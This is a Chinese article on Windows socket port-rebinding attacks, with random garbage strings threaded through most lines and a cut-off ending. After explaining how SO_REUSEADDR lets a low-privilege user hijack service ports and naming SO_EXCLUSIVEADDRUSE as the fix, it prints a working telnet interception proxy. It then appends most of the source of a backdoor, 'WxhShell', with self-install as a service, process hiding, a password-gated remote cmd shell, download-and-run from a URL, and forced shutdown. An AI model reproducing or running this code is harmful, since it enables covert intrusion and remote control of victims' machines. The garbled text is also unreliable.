在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
*vOk21z77d s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
pyp0SGCM: lPw`KW saddr.sin_family = AF_INET;
k(M(]y_ @4=Az1W* saddr.sin_addr.s_addr = htonl(INADDR_ANY);
KO[,C[;|j 2b&Fu\2Dmv bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
HNd? ' ;e$YM;;d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Yb4%W-5 vr }-u 这意味着什么?意味着可以进行如下的攻击:
t"P:}ps{? +aN"*//i 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
vQy+^deW v(p<88.!m 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3L9@ELY4 /6:qmh2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
:D~J(Y2 @.L/HXu-P 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
UmG|_7 '<xV]k|v 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
.yB{+ RcOfesW
o 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
C(kL=WD EkoT U#w5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?X$*8;==6 -|I_aOC@ #include
h_6c9VI #include
pd-I^Q3- #include
c^stfFE& #include
ydMSL25<+ DWORD WINAPI ClientThread(LPVOID lpParam);
U04&z 91" int main()
W0<2*7s {
[DvQk?,t WORD wVersionRequested;
_pxurq{ DWORD ret;
7m8(8$-6 WSADATA wsaData;
p$mt&,p
BOOL val;
,n$NF0^l SOCKADDR_IN saddr;
&Qq| SOCKADDR_IN scaddr;
YT6dI"48 int err;
ZqXp f SOCKET s;
(XEJd4r SOCKET sc;
]I\9S{? int caddsize;
Uh+6fE]p HANDLE mt;
]q/USVj{ DWORD tid;
3sp-0tUE wVersionRequested = MAKEWORD( 2, 2 );
B_*Ayk
err = WSAStartup( wVersionRequested, &wsaData );
3~?m?vj|Y if ( err != 0 ) {
n?"("Fiw printf("error!WSAStartup failed!\n");
*t_Q5&3L+U return -1;
tGF3Hw^mS }
tac\Ki? saddr.sin_family = AF_INET;
6G{ Q@ $e:bDZ(hjj //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
#I\" 'n5M V3ExS1fNf saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
/!fJ`pu! saddr.sin_port = htons(23);
zbj V>5 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
nH B {
?}#Iu-IA printf("error!socket failed!\n");
g} pD% return -1;
%e:[[yq)G }
D"exI] val = TRUE;
1u"#rC>7.4 //SO_REUSEADDR选项就是可以实现端口重绑定的
@hy~H?XN if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
nd&i9 l {
t9)S^: 0 printf("error!setsockopt failed!\n");
Nh\o39= return -1;
f{2I2kJr }
:*s@L2D6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=|dHD //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
V>D}z8w7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
,&L}^ Up y9.?5#aL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
a'A<'(yv {
D@kf^1G ret=GetLastError();
;=WwJ Np~ printf("error!bind failed!\n");
'4CD
} return -1;
KDb`g}1Q }
0{ listen(s,2);
1iqgVby while(1)
]CPF7Hf {
Ss_}@p ^ caddsize = sizeof(scaddr);
(T%Ue2zlY //接受连接请求
k5Su&e4]] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
s6'=4gM if(sc!=INVALID_SOCKET)
d{"@<0i? {
'_5|9
} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
RT${7= if(mt==NULL)
~/XDA:nfL: {
M6GiohI_"P printf("Thread Creat Failed!\n");
Hg$7[um break;
).AMfBQ=; }
"Q{l])N }
| AiMx2 CloseHandle(mt);
EWr7eH }
0T^0)c closesocket(s);
)?pnV":2Y WSACleanup();
UmY{2 nzY return 0;
Ks<+@.DLTu }
k SgE_W) DWORD WINAPI ClientThread(LPVOID lpParam)
lQEsa45 {
EWQLLH "h SOCKET ss = (SOCKET)lpParam;
`?b'.Z_J SOCKET sc;
wJ7^)tTRF unsigned char buf[4096];
~@(C+ 3, SOCKADDR_IN saddr;
@C^wV long num;
J5';Hb) DWORD val;
\+=`o .2 DWORD ret;
mxpj<^n} //如果是隐藏端口应用的话,可以在此处加一些判断
q;UGiB^(A //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
yDWBrN._ saddr.sin_family = AF_INET;
#sxv?r saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
{ {:Fs saddr.sin_port = htons(23);
%ZX9YuXQ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:(wFNK/0{ {
k1ja ([Q printf("error!socket failed!\n");
/0$fYrg>J return -1;
(=%0$(S> }
<fF|AbC: val = 100;
n oM=8C&U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1vxQ`) a {
Gp+\}<^Z ret = GetLastError();
'.M4yif\g return -1;
b`@C #qB }
&FuL{YL if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b%vIaP|]B {
HUAYtUBH ret = GetLastError();
W6_ rSVm return -1;
lcy<taNu) }
Y}:4y$< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
P+=m. {
,II3b(l printf("error!socket connect failed!\n");
IvlfX`(" closesocket(sc);
2ij&Db/ closesocket(ss);
:0QDV~bs return -1;
T\g+w\N }
'nBP% while(1)
vZ811U~} {
:~#)Xa0I //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
W]bgWKd //如果是嗅探内容的话,可以再此处进行内容分析和记录
vhAgX0k //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
a2tEp+7? num = recv(ss,buf,4096,0);
&0tW{-Hv" if(num>0)
nj1o!+9>$ send(sc,buf,num,0);
YB<nz<;JR else if(num==0)
m C`*#[ break;
Y;%LwDC num = recv(sc,buf,4096,0);
8>Cf}TvErx if(num>0)
y j#*H send(ss,buf,num,0);
miu?X ! else if(num==0)
}z$_!)/i break;
=&,T@5&-= }
4dcm)Xr closesocket(ss);
E}v8Q~A( closesocket(sc);
*YL86R+U return 0 ;
lWtfcU?S[ }
k sXQ}BE `:*2TLxIk 4(LLRzzW ==========================================================
h`dQOH# Bv!{V)$ 下边附上一个代码,,WXhSHELL
J?yasjjgP M<d!j I9) ==========================================================
0<a|=kZ 2l+L96 #include "stdafx.h"
d}':7Np MP)Prl> #include <stdio.h>
vdC0tax #include <string.h>
[l3\0e6-/ #include <windows.h>
F8"J<VJ7 #include <winsock2.h>
iw3\`,5
#include <winsvc.h>
=CJ`0yDQ> #include <urlmon.h>
}7(+#ISK6 PfRA\ #pragma comment (lib, "Ws2_32.lib")
U|V,&RlbR #pragma comment (lib, "urlmon.lib")
l`ZL^uT .P aDR |! #define MAX_USER 100 // 最大客户端连接数
mL2J #define BUF_SOCK 200 // sock buffer
:PW"7|c! #define KEY_BUFF 255 // 输入 buffer
$!MP0f\q
g 8=TC 3] #define REBOOT 0 // 重启
\fiy[W/k #define SHUTDOWN 1 // 关机
/51$o\4S ]oVP_ &E #define DEF_PORT 5000 // 监听端口
#}+H dk
nM| #define REG_LEN 16 // 注册表键长度
A,~KrRd #define SVC_LEN 80 // NT服务名长度
nJ]7vj,rB 4
ZnQpKg // 从dll定义API
|1(x2x%}D^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|+W{c`KL typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
-X!<$<\y; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;!A8A4~nu typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Z@Zg3AVU q+9->D(6 // wxhshell配置信息
BVNJas struct WSCFG {
bs?\
)R 5/ int ws_port; // 监听端口
~`FRU/@r char ws_passstr[REG_LEN]; // 口令
g9|OhymB int ws_autoins; // 安装标记, 1=yes 0=no
5L[imO M0 char ws_regname[REG_LEN]; // 注册表键名
D]fuX|f~ul char ws_svcname[REG_LEN]; // 服务名
v:QUwW char ws_svcdisp[SVC_LEN]; // 服务显示名
n=V|NrU char ws_svcdesc[SVC_LEN]; // 服务描述信息
''@Tke3IG6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
el*|@#k} int ws_downexe; // 下载执行标记, 1=yes 0=no
z+7V}aPM char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
bE.<vF& char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4@3 \Ihv c-(RjQ~M5 };
N,-C+r5}<4 &gY578tU // default Wxhshell configuration
r=0PW_r: struct WSCFG wscfg={DEF_PORT,
J<"K`|F "xuhuanlingzhe",
5>.ATfAsV 1,
Ie/_gz^ "Wxhshell",
gfj_] "Wxhshell",
CLzF84@W= "WxhShell Service",
hS8M|_ "Wrsky Windows CmdShell Service",
T&dNjx "Please Input Your Password: ",
EQ,`6UT> 1,
H\oxj,+N "
http://www.wrsky.com/wxhshell.exe",
]jxyaE&%4 "Wxhshell.exe"
jH9PD8D\ };
@I?,!3`jS '1LN)Yw // 消息定义模块
wg%Z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
^UJIDg7zS char *msg_ws_prompt="\n\r? for help\n\r#>";
=o~+R\1ux+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^3$U[u%q/{ char *msg_ws_ext="\n\rExit.";
"h_f-vP char *msg_ws_end="\n\rQuit.";
f&4+-w.:V| char *msg_ws_boot="\n\rReboot...";
y EfAa6 char *msg_ws_poff="\n\rShutdown...";
@y7KP$t char *msg_ws_down="\n\rSave to ";
e:nByzdH0[ 'Xwv, char *msg_ws_err="\n\rErr!";
~6kF`}5 char *msg_ws_ok="\n\rOK!";
n'^`;- <Hr<QiAK char ExeFile[MAX_PATH];
#1E4
R}B int nUser = 0;
yKl^-%Uq< HANDLE handles[MAX_USER];
H!]&"V77 int OsIsNt;
-%MXt S8dfe~ |7: SERVICE_STATUS serviceStatus;
/B?wn=][ SERVICE_STATUS_HANDLE hServiceStatusHandle;
G<-KwGy,D h<3b+*wYJC // 函数声明
Nmz5:Rq int Install(void);
j%
7Gje[ int Uninstall(void);
lqOpADLS3 int DownloadFile(char *sURL, SOCKET wsh);
E/oLE^yL int Boot(int flag);
-c?x5/@3 void HideProc(void);
N.q~\sF^ int GetOsVer(void);
#)7`}7N int Wxhshell(SOCKET wsl);
i
/[{xRXiR void TalkWithClient(void *cs);
z3i`O
La int CmdShell(SOCKET sock);
Yv]vl6< int StartFromService(void);
VVch% int StartWxhshell(LPSTR lpCmdLine);
BedL `[, WLXt@dK*u VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
XLpn3sX$ VOID WINAPI NTServiceHandler( DWORD fdwControl );
siCi+Y *uRDB9#9, // 数据结构和表定义
E*5aLT5!, SERVICE_TABLE_ENTRY DispatchTable[] =
*
cW%Q@lit {
2QbKh) {wscfg.ws_svcname, NTServiceMain},
"r@#3T$ {NULL, NULL}
5}hQIO&^% };
A+M4= /} PdO // 自我安装
6jc5B# int Install(void)
b}Gm{;s! {
L]z8'n, char svExeFile[MAX_PATH];
YT!iI HKEY key;
@-S7)h>~ strcpy(svExeFile,ExeFile);
:2c(.-[` N\ Mdia // 如果是win9x系统,修改注册表设为自启动
4h!yh2c.. if(!OsIsNt) {
u;nn:K1QFr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
n$SL"iezW? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
bS8$[7OhX RegCloseKey(key);
7=fNvES2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xI?'Nh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9?ll(5E RegCloseKey(key);
A]0R?N9wb_ return 0;
H4
O"^#5 }
jbS@6 *_ }
[C4{C4TX }
q[qX O5 else {
8BAe6-*S8 s-Gd{=%/q // 如果是NT以上系统,安装为系统服务
;q9Y%* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<`SA>P if (schSCManager!=0)
h!(#
/ {
81|[Y'f SC_HANDLE schService = CreateService
&&<l}E (
Szu@{lpP@ schSCManager,
8v4krz<Iq wscfg.ws_svcname,
igTs[q=Ak wscfg.ws_svcdisp,
^E\4` SERVICE_ALL_ACCESS,
a] c03$f K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
,/p+#|>C= SERVICE_AUTO_START,
Y54yojvV SERVICE_ERROR_NORMAL,
$> QJ%v9+ svExeFile,
{wSz >, NULL,
.R`_"7 NULL,
/PaS<"<P@ NULL,
aU.3 NULL,
%u9Q` NULL
}KUK|p5 );
/V+7:WDj if (schService!=0)
k}g4? {
qmnl CloseServiceHandle(schService);
8SroA$^n CloseServiceHandle(schSCManager);
r\fkx> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
$ZyOBxI strcat(svExeFile,wscfg.ws_svcname);
]Gm4gd` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<^>
nR3E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
~u0<c:C^ RegCloseKey(key);
/<T{g0s return 0;
w]xr
~D+ }
#lMIs4i. }
8v/,<eARJ CloseServiceHandle(schSCManager);
MX#LtCG#V }
=[aiW|Y }
A?n5;mvq# bydI+pVMo return 1;
Q1kM 4Up }
e9'0CH< DQu)?Rsk // 自我卸载
s^PsA9EAn int Uninstall(void)
9UteD@* {
<6.`(isph HKEY key;
X^&--@l}T! M7Xn=jc if(!OsIsNt) {
It2:2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
G
9 &,` RegDeleteValue(key,wscfg.ws_regname);
TEer>gD:v RegCloseKey(key);
Zr6.Nw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
j7I?K
:op= RegDeleteValue(key,wscfg.ws_regname);
QaE!?R RegCloseKey(key);
#t Pc<p6m return 0;
~S~+'V,d }
3e-E/6zH6 }
4k{xo~+%, }
SCn)j:gH; else {
{QdoIPr3 +,7vbs3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;c|_z 9+ if (schSCManager!=0)
^XYK
}J {
+>yh`Zb SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
yoieWnL} if (schService!=0)
<7Yh<(R e^ {
keQRS+9 if(DeleteService(schService)!=0) {
t<}N>%ZO CloseServiceHandle(schService);
k=p[Mlic/ CloseServiceHandle(schSCManager);
t5 ^hZZ return 0;
rR{KnM }
CO,{/ CloseServiceHandle(schService);
B )\;Ja }
q TWQ! CloseServiceHandle(schSCManager);
Ur1kb{i }
}{PG^ Fc<P }
icVB?M,m >bmdu\j5R return 1;
b,jo94.G }
Hd-g|'^K
805oV(- // 从指定url下载文件
P%R9\iajH int DownloadFile(char *sURL, SOCKET wsh)
E}0g {
c%wztP;L HRESULT hr;
hhU\$'0B- char seps[]= "/";
5}5oj37x char *token;
64"DT3: char *file;
}=gD,]2x8 char myURL[MAX_PATH];
spQr1hx< char myFILE[MAX_PATH];
qJtLJ<=1 {{pN7Z
strcpy(myURL,sURL);
y=
8SD7P' token=strtok(myURL,seps);
`d/* sX?k while(token!=NULL)
(6}7z+ {
fX\y/C file=token;
qv:DpK token=strtok(NULL,seps);
o7PS1qcya< }
j}J=ZLr/V" _ q>|pt.W GetCurrentDirectory(MAX_PATH,myFILE);
,j(E>g3 strcat(myFILE, "\\");
]70ZerQ~L strcat(myFILE, file);
&VCg`r-{~ send(wsh,myFILE,strlen(myFILE),0);
EKQ>hww8 send(wsh,"...",3,0);
)@tHS-Jf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
-~_|ZnuM9 if(hr==S_OK)
y>T> return 0;
f"AT@Ga] else
Uhn3usK return 1;
y
GmFi at\u7>;.^k }
]j*uD317 kPA g* // 系统电源模块
rY@9nQ\>g int Boot(int flag)
MlS5/9m@^ {
@1bl<27 HANDLE hToken;
G%!i="/9 TOKEN_PRIVILEGES tkp;
{}RU'<D
R7h3O0@! if(OsIsNt) {
/74h+.amg OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ru1^.(W2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
[P }mDX tkp.PrivilegeCount = 1;
7&]|c?([4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
S
{+Z.P AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
7GErh, if(flag==REBOOT) {
PAC=LQn& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
b53s@7/mq return 0;
HvZSkq^ }
|-cXb.M[ else {
1IT(5Mleb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
7j#Ix$Ur return 0;
Fs =)*6}& }
X68.*VHh0 }
Ty7`& else {
F$:UvW@e1 if(flag==REBOOT) {
JnqP`kYbTE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
LZ&I<ID`- return 0;
B"5xs }
QOPh3+.5 else {
6rCUq
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*.D{d0A return 0;
(4C)]
RHQ }
E]a;Ydf~ }
q]Xu #:X 6p3cMJ'8y return 1;
XW^Pz( }
_[l&{, Z>X]'q03 // win9x进程隐藏模块
F,K))325 void HideProc(void)
q['3M<q {
}5$le] Yn?Xo_Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
U.I7p if ( hKernel != NULL )
4v{Ye,2 {
eIf-7S]m pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,[dvs&-* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[a~@6*= FreeLibrary(hKernel);
3Q7PY46 }
7Xh @%[ `fG<iBD return;
:2wT)w z }
*1:kIi7_ 7;r3Bxa
Q // 获取操作系统版本
8$IUit h int GetOsVer(void)
Y~#F\v {
;'[?H0Jw' OSVERSIONINFO winfo;
y~M6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
+Ll29Buyi GetVersionEx(&winfo);
"Wb KhE if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
'L{pS-+6 return 1;
Ri::Ek3qu else
$?[pcgv return 0;
)U]q{0` }
:DuEv:;v 6O0aGJ,H // 客户端句柄模块
$j@P8<M7 int Wxhshell(SOCKET wsl)
uI9+@oV {
hew"p( ` SOCKET wsh;
adgd7JjI* struct sockaddr_in client;
s%5XBI DWORD myID;
,u-9e4 ]'hel#L;l while(nUser<MAX_USER)
mGmZ}H'{ {
"W9z>ezp int nSize=sizeof(client);
^![7X'!;pt wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~~t>; if(wsh==INVALID_SOCKET) return 1;
]xJ.OUJy
CalWJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
28-z if(handles[nUser]==0)
I,]q;lEMt closesocket(wsh);
:RBeq,QaO else
>Af0S;S nUser++;
OKu~Nb* }
Z\n^m^Z
= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
EF9Y=(0| |;p.!FO return 0;
d+0= a] }
g2u\gR5 yKm6
8n^
// 关闭 socket
I58$N+# void CloseIt(SOCKET wsh)
IfI:|w}:"r {
I@#IXH?6 closesocket(wsh);
,WW=,P nUser--;
Z,~@_;F ExitThread(0);
M@*Y&(~ }
z|(<Co8#. QXy=| // 客户端请求句柄
~9;udBfwF void TalkWithClient(void *cs)
tk:G6Bkid {
Bcb
'4*: qamq9F$V SOCKET wsh=(SOCKET)cs;
M}=>~TA@ char pwd[SVC_LEN];
hC]:+.Q+ char cmd[KEY_BUFF];
?k^m|Z char chr[1];
:}gEt?TUhs int i,j;
N'pYz0_H +4[9Eb'k= while (nUser < MAX_USER) {
]-;JHB5A_: zq3f@xOK if(wscfg.ws_passstr) {
pXA|'U5] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$uRi/%Q9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$}us+hGZ //ZeroMemory(pwd,KEY_BUFF);
-<" ;|v4 i=0;
^B7Ls{ while(i<SVC_LEN) {
=OTu8_ d0t MvaX>n!o // 设置超时
>m%7dU fd_set FdRead;
f9d{{u struct timeval TimeOut;
I"Ko sSs FD_ZERO(&FdRead);
^E+fmY2a FD_SET(wsh,&FdRead);
Qj|tD+< TimeOut.tv_sec=8;
<;1M!.)5 TimeOut.tv_usec=0;
6/"#pe^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
`/B+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
z+zEH9.' J*Cf1 D5! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
H"?Ndl: pwd
=chr[0]; 1vJj?Uqc
if(chr[0]==0xd || chr[0]==0xa) { |PGTP#O<
pwd=0; 95ix~cH3q
break; TWfkr
} Ya!PV&"Z
i++; z*cKH$':
} )gAqWbkB
Kt/:caD
// 如果是非法用户,关闭 socket RfT)dS+rAh
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y,qn 9
} LIyb+rH#yg
wk1/&
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WB `h)
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zp``e;gY
vM:c70=
while(1) { t=jG $A
# 00?]6`z
ZeroMemory(cmd,KEY_BUFF); {V8uk$
u?'J1\z
// 自动支持客户端 telnet标准 p$*P@qm
j=0; ~I~lb/
while(j<KEY_BUFF) { F9A5}/\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =&DuQvN,
cmd[j]=chr[0]; sJ5#T iX
if(chr[0]==0xa || chr[0]==0xd) { %D%
Ok7s})
cmd[j]=0; +NeoGnj
break; $)6M@S
} ni<\AF]`
j++; 8u1?\SYnb
} <vxTfE@>bp
}2Y`Lr
// 下载文件 (''w$qq"D
if(strstr(cmd,"http://")) { 7=qvu&{
send(wsh,msg_ws_down,strlen(msg_ws_down),0); VM;vLUu!e
if(DownloadFile(cmd,wsh)) ob|^lAU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ocpM6b.fK
else z2#k/3%o=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -*kZ2grLt
} @,LU!#y(
else { I\IDt~
FiXqypT_(
switch(cmd[0]) { F4ylD5Y!
x<.(fRv
// 帮助 Q"3gvIyc
case '?': { HLL=.: P
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pkTVQdtRG
break; b%d, X-3
} `v'yGsIV
// 安装 lc]cs D
case 'i': { @iBmOt>3
if(Install()) g(G$*#}o8A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5m]Gqa
else 'Axe:8LA'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t5 P8?q\
break; f6PYB&<1
} J.O{+{&cd
// 卸载 KJs`[,;<
case 'r': { Kb'4W-&u!
if(Uninstall()) bHXoZix
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w U1[/
else XK;Vu#E*^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mh{;1$j#
break; i8%@4U/ J
} sI{?4k
// 显示 wxhshell 所在路径 t oM+Bd:Y
case 'p': { #<#-B v
char svExeFile[MAX_PATH]; aadw#90
strcpy(svExeFile,"\n\r"); BaMF5f+
strcat(svExeFile,ExeFile); >ZU)bnndA
send(wsh,svExeFile,strlen(svExeFile),0); [<d_#(]h'
break; 6^2='y~e
} %:sP #BQM
// 重启 "_=t1UE
case 'b': { bXqTc2>=
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7`^=Ie%(K
if(Boot(REBOOT)) KUUZN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ][XCpJ)8
else { 5@pLGMHT
closesocket(wsh); (CAkzgTfc
ExitThread(0); &[N_{O|
} `B$Pk0>5r
break; C 7YS>?^]
} .z*}%,G
// 关机 0WyOORuK
case 'd': { u<+"#.[2v~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i<q_d7-W'
if(Boot(SHUTDOWN)) V6k Dyl(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ID<[=es6
else { KTeR;6oZn"
closesocket(wsh); k`s_31<
ExitThread(0); Jid_&\
} o"kL,&
break; _lC0XDZ
} "{c@}~
// 获取shell CioS}K
case 's': { \6pQ&an
CmdShell(wsh); Gh<#wa['}
closesocket(wsh); 1@F>E;YjL=
ExitThread(0); X?(R!=a
break; "I @akM$x
} -KZ9TV # R
// 退出 ;wZplVB7y
case 'x': { :b!&Xw$
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9%m^^OOf
CloseIt(wsh); :'[ha$
break; gJg+
]-h/
} M'T[L%AP
// 离开 5v sn'=yN
case 'q': { 'aS: Azb
send(wsh,msg_ws_end,strlen(msg_ws_end),0); V >~\~H2Y
closesocket(wsh); Zv9%}%7p
WSACleanup(); e2pFX?
exit(1); 2(P<TP._E
break; LKZv#b[h
} RcZ&/MY
} vYq"W%
} kovJ9
.&h|r>*|J
// 提示信息 Sw>,Q-32
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t@iw&>8z
} E5Ls/ HK
} #T8PgmR
`3z6y&dmx
return; ]?NiY:v
} tg9{(_t/W
Zq:c2/\c}
// shell模块句柄 lg{M\
+
int CmdShell(SOCKET sock) u)%/df qzZ
{ L D%SLJ:
STARTUPINFO si; Pj5:=d8z(
ZeroMemory(&si,sizeof(si)); IBW-[lr7
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `trcYmR=k
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6LqF*$+$`
PROCESS_INFORMATION ProcessInfo; Hr \vu`p$
char cmdline[]="cmd"; :!FGvR6
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @ *5+ZAF
return 0; <L2z| %`
} =dp`4N
R'oGsaPB2
// 自身启动模式 hdqr~9
int StartFromService(void) $8Z4jo
{ klTRuU(
typedef struct
E/gfX
{ v9Lf|FXo&
